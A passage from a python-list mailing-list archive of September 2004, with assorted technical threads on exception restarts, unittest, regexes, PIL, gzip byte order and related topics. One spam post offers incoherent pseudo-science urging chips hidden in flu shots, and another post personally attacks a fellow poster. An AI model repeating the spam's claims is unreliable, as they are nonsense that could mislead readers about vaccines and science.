    jmf> I don't know.  I had understood that, if you didn't get
    jmf> through customs, you were put back on a plane out of the
    jmf> country.

    >> ...  Would anybody even know?

    jmf> Yes.  Lots of people.

    >> ..Are you guys truly scared enough to sanction this kind of
    >> behaviour from your gov't?

    jmf> If you are a terrorist with the intent to wreak death and
    jmf> destruction in this country, I sure as hell hope somebody
    jmf> doesn't let you in.

    jmf> /BAH

    jmf> Subtract a hundred and four for e-mail.


From shai at platonix.com  Thu Sep 30 03:11:30 2004
From: shai at platonix.com (Shai Berger)
Date: Thu, 30 Sep 2004 07:11:30 +0000
Subject: re-entering in the normal flow after an exception is raised
Message-ID: <200409300711.31178.shai@platonix.com>

It's called "restarts" in Common Lisp. The basic idea, if I got it right, is 
that you keep a global mapping from exception types to functions, and 
whenever an exception is raised by the code, if the mapping has an entry for 
it, the function is called instead. Lisp makes it easy to manage the mapping 
in concert with program flow (that is, adding an entry works much like adding 
an exception handler in Python). It is as if you could write,

# PSEUDO-CODE
def ignoreException(exc): continue

try:
 func()
restart NotSeriousException:
 ignoreException

Now, notice that the code under the restart clause returns a function; this is 
the function that will be called instead of raising the exception, within 
do_this, and whatever it returns is returned instead of continuing the 
do_this code.

Common Lisp goes further, and uses this mechanism for error handling that is 
more flexible than is usually achieved with Exceptions, by doing something 
that is essentially like throwing exceptions from the functions used for 
restarts; this means you can have

class SomeError(Exception): pass
class RecoveryStrategy1(Exception): pass
class RecoveryStrategy2(Exception): pass

def innermost():
 raise SomeError()

def medium():
 try:
  innermost()
 except RecoveryStrategy1:
  do_this()
 except RecoveryStrategy2:
  do_that()

def outer():
 try:
  medium()
 restart SomeError:
  def f(exc): raise RecoveryStrategy1()
  f

Which means that medium defines and implements the recovery strategies, but 
only outer chooses among them.

Now, if you don't need the dynamic-try-like feature, I guess you could write 
something like this (untested):

# A special method for raising exceptions
def raise_(exc):
 if exc.__class__.hasattr('restart_func'):
  return exc.__class__.restart_func(exc)
 else:
  raise exc

# Modified from the original to use the new raise_() instead of raise
def do_this():
 raise_(NotSeriousException())

def do_that():
 pass

def do_this_and_that():
 do_this()
 do_that()

def ignore_exception(exc): pass

def call_do_this_and_that():
 #instead of your "try'
 NotSeriousException.restart_func = ignore_exception
 do_this_and_that()

On second thought, this is a lot like Bengt's suggestion of complain().

BTW: We could implement behavior that mimics Common Lisp more closely, if we 
had dicts we could play with on frame objects. We could do plenty of other 
useful stuff, too, but that's for another post.
 


From roy at panix.com  Thu Sep  2 13:20:11 2004
From: roy at panix.com (Roy Smith)
Date: Thu, 02 Sep 2004 13:20:11 -0400
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpkf1d5433nmu@news.cisco.com>
	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpk6kx9433nmu@news.cisco.com>
	<mailman.2775.1094145196.5135.python-list@python.org>
Message-ID: <roy-BC9636.13201102092004@reader1.panix.com>

In article <mailman.2775.1094145196.5135.python-list at python.org>,
 Gandalf <gandalf at geochemsource.com> wrote:

> > users = ['admin', 'user1', 'user2']
> > address = ('www.python.org', 80)
> >
> > index and count only make sense when the collection is homogeneous.  
> > Therefore they are not defined for tuple. 
> 
> Why?
> 
> address = ['www.python.org',80]
> 
> A list can hold any kind of objects. I think that the 'index' method for 
> tuples would be a good idea.

Personally, I think it should be more general.  I think index should be 
a sequence method, and tuple should just inherit from that.


From jacques.coeurs at laposte.net  Mon Sep 13 10:44:12 2004
From: jacques.coeurs at laposte.net (jack)
Date: 13 Sep 2004 07:44:12 -0700
Subject: network status tools like argus
Message-ID: <106645cc.0409130644.5e52db49@posting.google.com>

Hi,

I am looking for a network analyzer like argus. If witten in python it
would be easier to customize if need be.

It should monitor the status of an ftp server (with each login
password), http, https, bandwith, generate graphics and send an alarm
as soon as it detects a problem.

As a matter of fact, I have already written a small portion to check
the https status, when I heard of the existence of argus.

Thanks in advance.
JACK.


From betalimit at yahoo.com  Sun Sep 26 10:10:01 2004
From: betalimit at yahoo.com (physics)
Date: Sun, 26 Sep 2004 14:10:01 -0000
Subject: The technology edge!!!
Message-ID: <cj6ijp+pnpb@eGroups.com>

            This is all a fact don't beleive me then mail it to 
everyone and watch the news in 2 years!! If i'm wrong you can 
torcher me fro 60,000 years!! I know the future of technology and 
this is as high tech as it can go this is the end of all new 
informations! The tree of life!!                     



              Cognitive Quantum Physics Matrix

The first step in solving the theory of everything is Cognitive 
Quantum Physics Matrix
of finding all that you can feel and see on every frequency level. 
You are where you see where your at but can be somewhere else that 
you don't see but that's not the golden prize it's the technology 
developed
from this that will change time travel and space time as we know
it. You could in the end become "GOD" and nobody could find you or
stop you. You would find Time and Space is the same place.....How
you may ask run www.beyond-science.com with A.I or quantum A.I
but in the end what you will find....be careful sometime what you 
see is your mind building it there. After all everything we see and 
feel and see it's the frequency we don't feel and see computer 
generated or cognitive or both! 

And this is how quantum artificial intelligence, Quantum mechanics, 
Quantum leaping, Quantum physics, Quantum Theory, Quantum dot, 
Quantum Teleportation all become outdated!!!

So when you get so far and you can do it make a quantium 1 Pico or 
less than on nano chip and 

Use hyper stop time and put one in everyone head in the world or 
make it out of D.N.A and put it in the flu shots. Even if you think 
you have found the end of this technology never stop looking

In time you will find something so incredible that the smartest A.I 
machine, man, or Alien will

Will not be able to comprehend and will say we are less 
then .000001% of life and information.

I would like to welcome you to that place that nothing can 
intergreat threw no dna matter or quantum conscious mind can find 
and when you find it welcome to the generations of life. It's like 
a .00000000000000000001% door in our universe.Hard to find but the 
first person there

Will own the key and control the door so who gets there first and 
make sure you can get back

You better bring allot of technology anything can happen and will 
and everything is possible and 

Infinte!! http://www.beyond-science.com 




From zanesdad at bellsouth.net  Fri Sep  3 13:37:16 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Fri, 03 Sep 2004 13:37:16 -0400
Subject: file access in jythonc
In-Reply-To: <9eabe547.0409030905.7d784642@posting.google.com>
References: <9eabe547.0408210611.d5e54f7@posting.google.com>	<9eabe547.0408301406.2543e691@posting.google.com>	<ch09pi$dh2$04$1@news.t-online.com>	<9eabe547.0408311130.73beef80@posting.google.com>	<ch34li$86k$05$1@news.t-online.com>	<9eabe547.0409010600.4d566928@posting.google.com>	<iQkZc.26276$Z14.8357@news.indigo.ie>	<9eabe547.0409011314.77bcc7b5@posting.google.com>
	<9eabe547.0409030905.7d784642@posting.google.com>
Message-ID: <4138ABCC.4070902@bellsouth.net>

John Howard wrote:

>Having thought the whole C thing over, python is still the way to go.
>  
>
Something I've done a couple of times in the past is to follow Bruce 
Eckel's "Browser as Desktop UI" model 
(http://mindview.net/WebLog/log-0045).  I've created a web-based 
application that runs on a "client" or standalone machine.  You can 
either use the Python built-in SimpleHTTPServer or CGIHTTPServer, or, 
preferably, one of the Python web frameworks like CherryPy that creates 
a standalone server for you.  I can definitely highly recommend 
CherryPy.  Anyway, a standalone CherryPy server running your application 
would likely solve all your problems.  You just have to have Python 
installed and (currently) only one .py file. 

Jeremy


From p at ulmcnett.com  Mon Sep 13 17:36:34 2004
From: p at ulmcnett.com (Paul McNett)
Date: Mon, 13 Sep 2004 14:36:34 -0700
Subject: #comments
In-Reply-To: <pan.2004.09.13.21.33.26.100772@NOSPAMrosecott.ukfsn.org>
References: <pan.2004.09.13.21.27.31.291385@NOSPAMrosecott.ukfsn.org>
	<pan.2004.09.13.21.33.26.100772@NOSPAMrosecott.ukfsn.org>
Message-ID: <200409131436.34808.p@ulmcnett.com>

Your subject is about comments, but your problem is with 
your print statements. See below.

Ken Parkes writes:

>     data=raw_input("Type something  ") # spaces after
> "something" myInput=data
>     print "You typed " myInput  # and again
>     print "The fourth character is  "  myInput[3]  # and
> again

Try this:

data=raw_input("Type something  ") # spaces after "something"
myInput=data
print "You typed %s" % myInput # and again
try:
	print "The fourth character is %s" % myInput[3] # and again
except IndexError:
	print "There is no fourth character."

-- 
Paul McNett
Independent Software Consultant
http://www.paulmcnett.com


From val at vtek.com  Thu Sep 30 12:21:46 2004
From: val at vtek.com (val)
Date: Thu, 30 Sep 2004 12:21:46 -0400
Subject: Social Analysis and Modeling for Python
References: <415AD6A4.7000400@cloudthunder.com>
	<10AC3CB6-1236-11D9-876C-0003939C968C@unito.it>
	<mailman.4096.1096482802.5135.python-list@python.org>
	<4abs22-p18.ln1@lairds.us>
Message-ID: <2s2q4uF1fcanvU1@uni-berlin.de>

"Cameron Laird" <claird at lairds.us> wrote in message
news:4abs22-p18.ln1 at lairds.us...
> In article <mailman.4096.1096482802.5135.python-list at python.org>,
> Bishara Gabriel  <bgabriel at cloudthunder.com> wrote:
> >Latest Revision of Social Analysis and Modeling in Python:
>
>http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf
>
> [...]
>
> ...  If this were my proposal, I'd aim for the far more powerful,
> "this project demonstrates Python's suitability as a vehicle which
> simultaneously expresses a theoretical model in a way researchers
> understand, and calculates the consequences of that model with a speed
> and reliability humans don't match."
>

well, 'If this were my proposal, I'd aim for the far more powerful,'
"In addition to conventional wisdom, Python may be considered as
a unique *science tool* providing an opportunity (1) *to build models
programmatically* - using online experimental data, data-driven
techniques, and databases integrated with the models, (2) to keep
the models in a dynamic format available for online analysis,
testing, and updating.  Such online science/reasoning tools may as well be a
unique
communication vehicle among scientists speeding up drastically
understanding complex/data-intensive phenomena such as genome dynamics,
social processes, terror networks, industrial dynamics, etc."





From noreply at python.org  Mon Sep 27 01:53:30 2004
From: noreply at python.org (noreply at python.org)
Date: Mon, 27 Sep 2004 07:53:30 +0200
Subject: Virus intercepted
Message-ID: <200409270553.i8R5rUVu000981@linux.pss.co.za>

A message sent from <noreply at python.org> to
	<python-list at python.org>
contained Worm.Mydoom.M and has not been delivered.


From m.r.keller at gmx.de  Sat Sep 11 10:51:08 2004
From: m.r.keller at gmx.de (martin keller)
Date: Sat, 11 Sep 2004 16:51:08 +0200 (MEST)
Subject: How to capture just the visible content of a COM object?
Message-ID: <27774.1094914268@www25.gmx.net>

Hello all,

can somebody tell me how do I capture just the visible text (for the user)
of a COM object (in this case a WordDoc object)?

The following code is working fine, but the last line must be rewritten to
capture what I need...

Thanks to you all in advance

MK


import win32com.client
import tkFileDialog

# Launch Word
MSWord = win32com.client.Dispatch("Word.Application")
MSWord.Visible = 0 
# Open a specific file
myWordDoc = tkFileDialog.askopenfilename()
MSWord.Documents.Open(myWordDoc)
#Get the textual content
docText = MSWord.Documents[0].Content

-- 
NEU: Bis zu 10 GB Speicher f?r e-mails & Dateien!
1 GB bereits bei GMX FreeMail http://www.gmx.net/de/go/mail



From mark at prothon.org  Wed Sep  1 02:47:57 2004
From: mark at prothon.org (Mark Hahn)
Date: Tue, 31 Aug 2004 23:47:57 -0700
Subject: Announcing PyCs, a new Python-like language on .Net
References: <mailman.2572.1093751093.5135.python-list@python.org>
	<1093788608.645541@news.commspeed.net>
Message-ID: <hrusrczpzg9u$.gp9gsi65alzn$.dlg@40tude.net>

On Sun, 29 Aug 2004 07:01:20 -0700, Tom B. wrote:

> Python already does all the things that M*soft has tacked on in a kludgy
> way, in a beautiful pythonic way. I have been using windows based machines
> for a long time and in the language department (as well as others) M*soft
> has been superceded by the open source community.

I would have agreed with you before I saw the details of the C-Omega
language.  Check out this paper on how XML and SQL are handled directly in
the language:  

http://www.cl.cam.ac.uk/%7Egmb/Papers/vanilla-xml2003.html.

These features in a Python-like language will be awesome!



From theller at python.net  Thu Sep  9 13:23:29 2004
From: theller at python.net (Thomas Heller)
Date: Thu, 09 Sep 2004 19:23:29 +0200
Subject: Is except: ... pass bad style?
References: <pan.2004.09.09.16.26.16.985806@python.net>
Message-ID: <3c1rnypa.fsf@python.net>

marduk <marduk at python.net> writes:

> I commonly use code like this
>
> try:
>     # call optional method
>     myobj.method()
> except AttributeError:
>     # no biggie
>     pass
>
>
> Occasionally I use pylint, which is a good tool, but in the above
> snippet pylint will complain that 'Except doesn't do anything'.  True,
> but is that bad style?  I know there are other ways of doing it, but
> of all the other "obvious" ones, this appears the most straight
> forward.
>
> Should I ignore pylint or is there a more Pythonic way to do this?

It's better to write it this way, imo:

try:
    mth = myobje.method
except AttributeError:
    pass
else:
    mth()

Otherwise you cannot determine whether myobj doesn't have this method,
or the method call is raising an exception.

Thomas


From jjl at pobox.com  Sat Sep 25 09:29:20 2004
From: jjl at pobox.com (John J. Lee)
Date: 25 Sep 2004 14:29:20 +0100
Subject: How to parse multi-part content
References: <2rjb2cF1b34ofU1@uni-berlin.de>
Message-ID: <87zn3e8ojz.fsf@pobox.com>

Dave Kuhlman <dkuhlman at rexx.com> writes:
[...]
> In case you are curious, this is content posted to my Zope server
> when I include an element '<input type="file" .../>' in my form.
[...]

*Surely* Zope has a standard way of doing this.  Try a Zope list?


John


From ptmcg at austin.rr._bogus_.com  Sat Sep  4 12:39:28 2004
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Sat, 04 Sep 2004 16:39:28 GMT
Subject: list conversion question
References: <mailman.2860.1094267481.5135.python-list@python.org>
	<3Ma_c.13188$Dl4.3729@fe2.texas.rr.com>
	<ivb_c.6952$w%6.2458@newsread1.news.pas.earthlink.net>
Message-ID: <4dm_c.14418$Dl4.8835@fe2.texas.rr.com>

"Andrew Dalke" <adalke at mindspring.com> wrote in message
news:ivb_c.6952$w%6.2458 at newsread1.news.pas.earthlink.net...
> Paul McGuire wrote:
> > Assuming im.histogram() returns a list like [ 0, 1, 0, 5, 43, etc. ] how
> > about:
> >
> > hist = [ 0, 1, 0, 5, 43 ]
> > values = [ i for i in enumerate(hist)]
> > values.sort(lambda a,b: cmp(b[1],a[1]))
> > indexes = [ a for a,b in values ]
>
> or tweaked a bit for speed (a sort with a lambda is expensive)
> and for clarity, IMO,
>
> pairs = [(value, offset) for (offset, value) in enumerate(hist)]
> pairs.sort()
> indexes = [offset for (value, offset) in pairs]
>
> In Python2.4 this is allowed
>
>  >>> hist = [ 0, 1, 0, 5, 43 ]
>  >>> [pair[0] for pair in sorted(enumerate(hist),
> ...                             key=lambda pair: pair[1])]
> [0, 2, 1, 3, 4]
>  >>>
>
> Not yet sure that that's a good thing.
>
> Andrew
> dalke at dalkescientific.com

I assumed that the resulting list should be sorted in descending frequency
order.  Probably the fastest way to do this (since we are tweaking for
speed) would be to just change the pairs list comp to "pairs = [(-value,
offset) for (offset, value) in enumerate(hist)]", or your Py 2.4 key clause
from "key=lambda pair: pair[1]" to "key=lambda pair: -pair[1]".

-- Paul




From P at draigBrady.com  Tue Sep 14 10:55:07 2004
From: P at draigBrady.com (P at draigBrady.com)
Date: Tue, 14 Sep 2004 15:55:07 +0100
Subject: glade
In-Reply-To: <ci6icc$1sir$1@news.vol.cz>
References: <ci3jd7$5e8$1@news.vol.cz> <414579e1$1@sia.uibk.ac.at>
	<41457a1b$1@sia.uibk.ac.at> <ci6icc$1sir$1@news.vol.cz>
Message-ID: <4147064B.3000608@draigBrady.com>

p.kosina wrote:
> I have installed all of it but I can not find anything how to translate 
> *.glade to python scripts. I do not need it urgently just interested.
> I have found glc.py which makes some errors...
> In fact I do not know how to handle libglade.
> Probably some tutorial would help.
> I use py2.3 under win2k.

I've never done it under windows but I do know it works.
Essentially you tell libglade to load the glade file.
This will render the GUI for you and attach the signal
handlers (python functions).

I've a simple tutorial (only tested on linux) here:
http://www.pixelbeat.org/talks/pygtk/

P?draig.


From heikowu at ceosg.de  Mon Sep 20 08:36:24 2004
From: heikowu at ceosg.de (Heiko Wundram)
Date: Mon, 20 Sep 2004 14:36:24 +0200
Subject: uncompressed size of .gz file
In-Reply-To: <BEz3d.27319$ni.10745@okepread01>
References: <000001c49ed3$35125b20$0a0c10ac@che2003>
	<mailman.3551.1095676652.5135.python-list@python.org>
	<BEz3d.27319$ni.10745@okepread01>
Message-ID: <200409201436.24139.heikowu@ceosg.de>

Am Montag, 20. September 2004 13:58 schrieb Steve Holden:
> As long as the format is documented itr doesn't really matter whether it
>   stores the bytes big-endian, little-endian or alternating from the big
> and little ends.

I know that. But it's just a rule of thumb for me: take any format which tries 
to be machine indepent, look at the byte-order: big-endian. For example: 
JPEG, TIFF (which has a marker for little or big-endian, but you'll mostly 
find big-endian TIFFs), network addresses, all binary RPC protocols I know 
of, etc.

It's not that I don't believe the effbot, but I just found it fishy to be 
little-endian when the format is standardized as a HTTP transport encoding 
(which is a network protocol)...

Wait, I just reread the comment from the RFC... And this clearly states:

"All multi-byte numbers in the format described here are stored with the 
least-significant byte first (at the lower memory address)."

least-significant byte first to me sounds like big-endian, doesn't it? And 
thus should warrant a > qualifier, or not? Or am I plain wrong on this?

Heiko.


From erik at heneryd.com  Mon Sep 13 16:30:38 2004
From: erik at heneryd.com (Erik Heneryd)
Date: Mon, 13 Sep 2004 22:30:38 +0200
Subject: PIL - setting the width of lines in ImageDraw
In-Reply-To: <eJCdnTShe4h9YNjcRVn-ug@comcast.com>
References: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk>
	<eJCdnTShe4h9YNjcRVn-ug@comcast.com>
Message-ID: <4146036E.9080808@heneryd.com>

Larry Bates wrote:
> When you want lines wider than 1px you are actually
> drawing rectangles with fillcolor set to the line
> color.  There is a drawrectangle method.

Ever tried to draw a /slanted/ line?


Erik


From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Sat Sep 25 09:31:52 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Sat, 25 Sep 2004 14:31:52 +0100
Subject: \number parameter in regular expression
In-Reply-To: <39cbe663.0409250519.45d70c42@posting.google.com>
References: <39cbe663.0409250519.45d70c42@posting.google.com>
Message-ID: <cj3s0b$jb4$1@pegasus.csx.cam.ac.uk>

Piet wrote:

> import re
> pattern = re.compile("([a-zA-Z]*)(.*)(\d{4}-\d{2}-\d{2})\1")

You should be using a raw string, r"([a-z...". As a purely stylistic 
concern, I found that calling this regex object "pattern" somewhat 
confusing since that is normally what one calls the string that is 
compiled into a regex.

regex = re.compile(r"([a-zA-Z]*)(.*)(\d{4}-\d{2}-\d{2})\1")
                     ^

 >>> regex.search("Date#ThisIsASpacer2004-09-25Date").groups()
('Date', '#ThisIsASpacer', '2004-09-25')
--
Michael Hoffman


From rnichol_rrc at yahoo.com  Thu Sep  9 23:21:42 2004
From: rnichol_rrc at yahoo.com (Reid Nichol)
Date: Thu, 09 Sep 2004 22:21:42 -0500
Subject: python and bit shifts and byte order, oh my!
Message-ID: <9490d.126$KA1.1800@news1.mts.net>

I played with bit shifts on my PC and tried the same thing on a Mac OS X 
machine.  They produced the same results, so I would assume that the way 
the bits and how they are interpreted are as in this link:

http://www.khakipants.org/archives/2003/03/bitlevel_input_and_output.html

At least in memory while the interpreter is running.

It's my first attempt down there and I need to know.  So, is this how 
Python works at the bit level?

I know that storing the number on disk means byte-order, etc.  But, that 
doesn't seem to be in play here.

Do I have the right thinking here?  Or am I wrong?  If so, how doesn't 
it actually work?


From mcfletch at rogers.com  Sat Sep  4 23:08:37 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Sat, 04 Sep 2004 23:08:37 -0400
Subject: Minor nit in Py24 installer: Deselecting register extensions
 de-registers existing associations
Message-ID: <413A8335.1060007@rogers.com>

Yes, yes, I know I should just wait for SourceForge to come up so I can 
file a bug report, but that's going to be hours, and I'll be knee-deep 
in Gentoo by then.

Just did an all-users install of Python 2.4a3 on Win2ksp4 where Python 
2.3.4 and Python 2.2 are installed.  Overwrote already-installed Python 
2.4a1.  Switched "register extensions" to the "X Not available", as I 
wanted to keep Python 2.3.4 as the default association for .py files.

After installation, there are *no* associations with Python files, that 
is "assoc .py" on the command line shows that there's no "Python" file 
type remaining.

Have fun,
Mike

________________________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://www.vrplumber.com
  http://blog.vrplumber.com



From roy at panix.com  Thu Sep 23 09:43:07 2004
From: roy at panix.com (Roy Smith)
Date: Thu, 23 Sep 2004 09:43:07 -0400
Subject: unittest: new reporting category "skipped"
References: <mailman.3772.1095935910.5135.python-list@python.org>
Message-ID: <roy-95B4DB.09430723092004@reader1.panix.com>

Remy Blank <remy.blank_asps at pobox.com> wrote:
> In a project I am working on, I have a series of tests that have
> to be run as root, and others as a normal user.

Having just completed a project which required testing as root, I can 
sympathize with you completely!  If at all possible, try to avoid 
getting painted into that particular corner.

Is it possible that by building the appropriate test scaffolding, you 
could run the tests as a normal user?  For example, let's say the reason 
you need to be root is because you are reading a file which is mode 600.  
You could then do something like this:

class myFile:
   """Stub replacement for file class.  Flesh this out enough to
   supply whatever functionality your unit tests require."""

   def __init__ (self, filename):
      self.data = """this is line one
                     this is line two
                     this is line three"""

   def read (self):
      for line in self.data:
         yield line

def myFileFactory (filename):
   return myFile (filename)

file = myFileFactory

It's not always possible or practical to do that, but it's worth 
thinking about.

Assuming this isn't going to work for you, then I do like your idea of 
having a way to skip tests.  Sounds like you want to subclass 
TestResult, and add a addSkipped() method.  You'd then probably need to 
also subclass the appropriate TestRunner class to report the skipped 
tests.

Another way would be to subclass TestSuite and override addTest(), but 
my fear here is that skipped tests would just get quietly dropped.  You 
really want them to be tracked and alerted in the final report.  You're 
done testing when you get no failures and no skipped tests.  Unless you 
have a way to report the skips up to the top level TestRunner, it's too 
easy to lose track of the skips.

Your idea of signaling skips with exceptions seems reasonable.  You 
might want to have more than one kind:

class SkippedTest
class NotRoot (SkippedTest)
class MissingTestResource (SkippedTest)
class TakesTooLong (SkippedTest)

Of course, the unit test gurus would probably be horrified at the whole 
idea of skipping tests.  A test either passes or fails, and you run 
every test, every time.  Turn all the dials up to ten, and all that.  
It's your project, you decide what makes sense.


From mefjr75 at hotmail.com  Wed Sep 15 21:55:07 2004
From: mefjr75 at hotmail.com (M.E.Farmer)
Date: 15 Sep 2004 18:55:07 -0700
Subject: Microthreads without Stackless?
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<18282ecb.0409120634.5ba044ee@posting.google.com>
	<Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com>
Message-ID: <18282ecb.0409151755.47b691e2@posting.google.com>

> And, to put it provocatively, David Mertz got it wrong.
> 
> As Mertz notes, generators can only transfer control to their
> immediate callers.  His solution of always calling them from a
> scheduler is no solution at all; they still only transfer to
> their immediate caller, and that caller is further restricted to
> be the scheduler.
> 
> Mertz's pattern provides nothing like real co-routines or
> threads, and the reliance on a scheduler has essentially nothing
> to do with that.  Real co-routines or threads can yield from
> anywhere.  Most importantly, they yield when calling for I/O.
> The call-depth could be any; the import point is that whenever
> one routine blocks to wait for an event, other routines can
> still run.


Wow!,
    Provocative = Tending to provoke or stimulate.
    Well, since you are trying to provoke/stimulate me!
Did a little search with Google:
'http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&q=author:bryanjugglercryptographer%40yahoo.com+'
'http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&q=author:fakeaddress%40nowhere.org+'

I noticed you tend to be quite critcal of others.

"""Bryon wrote:
We've been over this before.  My position, in case you've
forgotten:

     There is a dilemma in how to respond to the piles of
     garbage. Lots of newbies do read the group, and they might
     not be able to filter out all the trash.

     I've decided one reasonable way to respond to a flood of
     nonsense is to call it what it is, and suggest that the
     author put forth effort to write good posts instead.
"""
Excellent comment I agree!
I suggest that you put forth effort to write good posts,
instead of trying to wear people down with your opinions and/or tired
arguments.

Did you notice the OP asked for:
    microthreads
    using generators and threads
    The devil, however, is in the scheduler's details

What I posted was about as close as you get.
    'Implementing "weightless threads" with Python generators.'
    I have not studied or used that code.
    I hoped it would be of use as inspiration for his scheduler.
    If nothing else it would show how not to do it.
    Mertz never said they were like real threads or coroutines.
    Where did you get that?
    I know it breaks your heart there aren't coroutines in Python.
    But get a grip on reality. 
    We have got generators(semi-coroutines),
    and others have mentioned it **is** doable.
You did notice this:
    P.S. The Candygram package is an implementation of
    Erlang concurrency primitives within Python.


So you been there, done that huh?
'http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=dSDVc.9181%249R.1949%40newssvr27.news.prodigy.com&rnum=24&prev=/groups%3Fq%3Dauthor:fakeaddress%2540nowhere.org%26start%3D20%26hl%3Den%26lr%3D%26ie%3DUTF-8%26selm%3DdSDVc.9181%25249R.1949%2540newssvr27.news.prodigy.com%26rnum%3D24'

"""
Dominic wrote:
> Well, the Erlang (language + telecom platform) uses light-weight
> threads which could e.g. be implemented with coroutines in Python.
Bryon wrote:
Well, the issue here is whether they could be implemented
reasonably in Python as it currently is, with generators 
but not co-routines.
"""
Why didn't you post a link to the other thread?
Did you notice the other people that responded are the ones from the
other thread?
Did you notice they actually gave links to code?
Did you email David Mertz and tell him he was 'wrong'?
Did you make an effort to 'correct' Mertz's 'mistake'?
Did you write code to get it right?
Did you responded in a helpful way or did you just waste time?

Since you gave me your opinion I will share mine.

I am going to suggest you try one or more of the following:
    Get a real email... quit using FAKEADDRESES.
                        Your smart get a free web email or/and filter.
    Write some code...  Maybe an implementation of coroutines
                        for python, so we can be enlightned!
    Take a walk...And think about all the comments you make, 
                  in all the groups you post in ,
                  then think about what it really says about you.
                  what if you had used your intelligent mind to help,
                  rather than offend, argue, and debate?
    Get a job or two or three...
                  You have way to much 'copious free time',
                  left to post your nonsense to so many groups.
    Read a book...Like the Bible or other religous text.
                  Your angst stems from the fact you 
                  are at odds with your creator.
                  Yes, I realise you are an athiest.
                  We have all been wrong before.

"""Sure nailed that one, didn't I?
(With a little help from Google.)
"""  
HTH, 
    M.E.Farmer :)


From josephwinston at mac.com  Wed Sep  8 16:36:58 2004
From: josephwinston at mac.com (Jody Winston)
Date: Wed, 08 Sep 2004 20:36:58 GMT
Subject: WebDAV Server
References: <m3n0009a10.fsf@frank.xprtcc.com>
	<uOH%c.26851$Z14.8686@news.indigo.ie>
Message-ID: <m38ybk8plh.fsf@frank.xprtcc.com>

Alan Kennedy <alanmk at hotmail.com> writes:

> [Jody Winston]
>> I'd like to present a view of an internal data store, which has Python
>> interface built using SWIG, so that my users can traverse and
>> manipulate the data store using familiar tools.
>
> Have you considered using something like pythonfs: "Linux Filesystem
> Drivers for backends written in Python"?
>
> http://pythonfs.sourceforge.net/
>
> Your backend could be your swig-wrapped internal data store. Then your
> users could use familiar file management tools on your data store.

The problem that I have with kernel level modules such as fuse is that
I must keep it in sync with the kernel on lots of machines.
(http://www.top500.org/sublist/System.php?id=7058)  Life becomes much
easier if I stay only in userspace.

> It could be exposed to a web server as the document root of the
> server: which would be nice because you could pick any standard
> webserver and not require it to be in python: every webserver
> understands filesystems.
>
> Same argument applies to webdav, i.e. you could use a native webdav
> module for, say, Apache, layered over your data-store "filesystem".
>

Adding a module to Apache does allow me to stay in userspace.
However, I have not ever written a module for Apache.  


From lee at leeHYPHENphillips.org.invalid  Thu Sep 23 15:46:10 2004
From: lee at leeHYPHENphillips.org.invalid (Lee Phillips)
Date: Thu, 23 Sep 2004 19:46:10 +0000 (UTC)
Subject: Check for keystroke
References: <Xns956C6558D1D9Anonenonecom@24.93.43.121>
	<slrncl3upc.b6e.lee@bad-bart.lcp.nrl.navy.mil>
	<Xns956CC7408DB48nonenonecom@24.93.43.119>
Message-ID: <slrncl6a5v.fni.lee@bad-bart.lcp.nrl.navy.mil>

On Thu, 23 Sep 2004 00:15:22 GMT, Brian <ThisIsNotMyReal at ddress.com> did write:
> It took a little bit of coaxing, but I finally got it to run.  
> Unfortunately, it still pauses while waiting for a keystroke.  Am I 
> missing something?

No, I am - I didn't pay enough attention to what you said you wanted.


From grante at visi.com  Tue Sep 21 10:32:36 2004
From: grante at visi.com (Grant Edwards)
Date: 21 Sep 2004 14:32:36 GMT
Subject: MAC address
References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au>
	<200409201005.25963.heikowu@ceosg.de>
	<mailman.3553.1095679406.5135.python-list@python.org>
	<414efed5$0$60631$a1866201@newsreader.visi.com>
	<mailman.3613.1095723708.5135.python-list@python.org>
	<414f7c66$0$60638$a1866201@newsreader.visi.com>
	<mailman.3616.1095729288.5135.python-list@python.org>
	<414fa1ec$0$63273$a1866201@newsreader.visi.com>
	<mailman.3620.1095739940.5135.python-list@python.org>
	<rlP3d.1275$g42.1134@newsread3.news.pas.earthlink.net>
	<mailman.3623.1095750787.5135.python-list@python.org>
Message-ID: <41503b84$0$60645$a1866201@newsreader.visi.com>

On 2004-09-21, Ajay <abra9823 at mail.usyd.edu.au> wrote:

> the ability of a commercial service provider to link your interactions
> together and generate a profile of you - that is what i am trying to guard
> against.

Then don't use their LAN.

> i would like users to have the option of interacting with a
> service under different pseudonyms. thus the information they
> exchange the first time may be different from what they
> exchange a second time around.

The only way this is going to work is to break the rules in the
802 standards.  AFAICT, the main problem you have to worry
about is MAC collisions.  What if two users end up using the
same MAC address?

-- 
Grant Edwards                   grante             Yow!  Hello... IRON
                                  at               CURTAIN? Send over a
                               visi.com            SAUSAGE PIZZA! World War
                                                   III? No thanks!


From robin at SPAMREMOVEjessikat.fsnet.co.uk  Sat Sep  4 13:35:22 2004
From: robin at SPAMREMOVEjessikat.fsnet.co.uk (Robin Becker)
Date: Sat, 04 Sep 2004 18:35:22 +0100
Subject: YOU ALL SUCK!
In-Reply-To: <chctqv$e50$0$216.39.172.122@theriver.com>
References: <1bf5bcb9.15695836@aol.com>
	<Xns9558DF032E46ebohlmanomsdevcom@130.133.1.4>
	<chctqv$e50$0$216.39.172.122@theriver.com>
Message-ID: <4139FCDA.8020601@jessikat.fsnet.co.uk>

Bengt Richter wrote:
> On 2 Sep 2004 06:17:05 GMT, Eric Bohlman <ebohlman at omsdev.com> wrote:
> 
> 
>>"Amanita, Love Ewe" <ladyamanita at aol.com> wrote in
>>news:1bf5bcb9.15695836 at aol.com: 
>>
>>
>>>Sharon expects the printer within hers and actually looks.  Why will
